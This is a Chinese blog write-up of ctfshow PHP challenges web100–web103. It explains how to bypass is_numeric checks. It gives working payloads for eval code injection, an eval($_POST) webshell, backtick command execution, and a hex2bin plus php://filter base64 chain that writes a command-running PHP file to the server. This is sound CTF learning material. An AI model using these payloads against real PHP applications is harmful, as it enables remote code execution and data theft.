ctfshow-web入门-php特性(web100-web103)is_numeric 函数绕过

69 篇文章 1 订阅
56 篇文章 1 订阅

目录

1、web100

2、web101

3、web102

4、web103


1、web100

提示:flag in class ctfshow,我们只需要构造输出 ctfshow 这个类即可。

代码分析:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){

虽然逻辑运算符的优先级比赋值运算符要高,但是如果逻辑运算符和赋值运算符连用时,往往允许存在先进行赋值运算,后再进行逻辑运算的顺序。

 is_numeric() 函数用于检测变量是否为数字或数字字符串,对于 php 来说:

$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

需要满足 if 语句才会进入后面的判断,因此要求 v0 为 1,这里用的是 and,所以只需要满足 v1是数字即可。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){

要求 v2 中不能有分号,v3 中需要有分号。

eval("$v2('ctfshow')$v3");

如果上述要求都满足,则会调用 eval 函数。

构造 payload:

?v1=1&v2=echo new ReflectionClass&v3=;

代入 eval 函数实际就是执行: 

eval("echo new ReflectionClass('ctfshow');");

ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo)到页面上。

拿到的 flag:5322193e0x2d9ab00x2d4faa0x2daafc0x2d21f6bbb10397

需要将 0x2d 替换为 - ,结果再使用 ctfshow{} 包裹。

最终 flag 为:ctfshow{5322193e-9ab0-4faa-aafc-21f6bbb10397}

除了输出 ctfshow 类,这里还可以进行命令执行:

b 站视频里用 %23 也就是 # 将后面的内容进行注释掉

?v1=1&v2=eval($_POST[1])?>%23&v3=;

 post:

1=system('ls');

其实不注释也是可以的,这里也没有注释成功,因为我们已经使用 ?> 将前面的 php 代码闭合了,后面的 ('ctfshow') 已经在 php 标签外了,只会被当做纯文本直接输出。

也可以直接使用反引号进行命令执行:

?v1=1&v2=echo `ls`?>&v3=;

不用去考虑后面多出来的内容,闭合前面的 php 代码即可。 

但是这里发现 flag 并不在 flag36d.php 里面 

最终在 ctfshow.php 里面找到 flag:

?v1=1&v2=echo `tac ctfshow.php`?>&v3=;

此外,还可以直接输出 $ctfshow,payload:

?v1=1&v2=var_dump($ctfshow)?>&v3=;
?v1=1&v2=print_r($ctfshow)?>&v3=;
?v1=1&v2=var_export($ctfshow)?>&v3=;

除了用 ?> 让 php 代码提前闭合,也可以将后面多余部分 ('ctfshow') 注释掉:

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

替换进 eval 函数就是 eval(var_dump($ctfshow)/*('ctfshow')*/;);

当然,不注释,不提前闭合,直接用前面代码也能正常回显出结果:

?v1=1&v2=var_dump($ctfshow)&v3=;

2、web101

在上一题的基础上,对 v2 和 v3 新增了很多的过滤,特别是 $ 和反引号这些都被毙掉了,我们只能采用反射类的方法:

?v1=1&v2=echo new ReflectionClass&v3=;

替换掉 0x2d 后得到 ctfshow{6aefebb5-4607-4473-b33e-890dae795f1}

查看提示:最后一位需要爆破16次,题目给的flag少一位

好吧再爆破一下:

最后一位是 8  

最终 flag:ctfshow{6aefebb5-4607-4473-b33e-890dae795f18}

3、web102

代码审计:

$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){

要求 v2 是数字,这样才会满足 if 条件,进入后面的语句。

$s = substr($v2,2);

从 $v2 的第三个字符开始截取子字符串并赋值给 $s。

$str = call_user_func($v1,$s);

调用 $v1 指定的函数,并将 $s 作为参数传递给该函数,将函数的返回值赋值给 $str。

file_put_contents($v3,$str);

将 $str 写入 $v3 指定的文件中。

可以看出这里我们控制的 payload 应该从 v2 的第三位起,并且内容只能先传入数字;

接着我们通过 v1 指定函数,这里可以使用 hex2bin 函数,将前面传入 v2 的数字作为十六进制数值转换为 ASCII 字符,转换后的结果返回给了 $str;

最后通过 file_put_contents 函数将内容写入到我们指定的文件 v3 里面。

但是问题在于,什么样的 payload 转换成十六进制全是数字呢? 

其实很难有完整的,我们无法直接写入,因此在写入的时候采用伪协议,对写入内容进行 Base64 解码后再写入,而我们可以对 payload 先进行 base64 编码后,再转为 16 进制。

payload:

<?=`cat *`;

先转为 base64 编码:

PD89YGNhdCAqYDs=

再转为 16 进制:

5044383959474e68644341715944733d

结尾的 3d 肯定是不行的,因此去掉 3d,相当于去掉的是 base64 里的等号,这个是不影响的。

得到:

5044383959474e6864434171594473

其实可以注意到,里面还有一个字母 e,那么 e 可以被当做数字吗?

不难看出 e 在中间是符合 is_numeric() 的,作为科学计数,因此满足题目代码要求。

为什么不使用 cat f* 或者 cat flag.php,因为这些转出来的内容都不行,不符合都是数字的要求。

注意,我们的 payload 是从 v2 第三位开始的,因此前面需要增加两个数字,绕过 substr 函数。 

所有这里 v2 传入 payload:005044383959474e6864434171594473

v1 传入用来转换的函数:hex2bin

v3 传入伪协议,用来对要写入的数据先进行 Base64 解码:php://filter/write=convert.base64- decode/resource=1.php

完整 payload:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:

v1=hex2bin

被 echo 出来的 PD89YGNhdCAqYDs 其实就是我们的 payload,也就是 $str 的内容,这个内容会通过伪协议,先 base64 解码后,再写入到 1.php 里面去。 

 

之后访问 1.php,查看源码:

拿到 flag:ctfshow{d75d19d4-078a-4f3d-bfb3-0ae18277c463} 

4、web103

新增过滤 php,实际上转出来能满足  is_numeric() 函数的本身就很少了,而且上一题我们压根也没有使用到 php,所以直接用上一题的 payload 打就行:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post: 

v1=hex2bin

访问 1.php 查看源码:

拿到 flag:ctfshow{47ff55ed-50e7-4951-8629-dfab88da8c4f}

  • 24
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值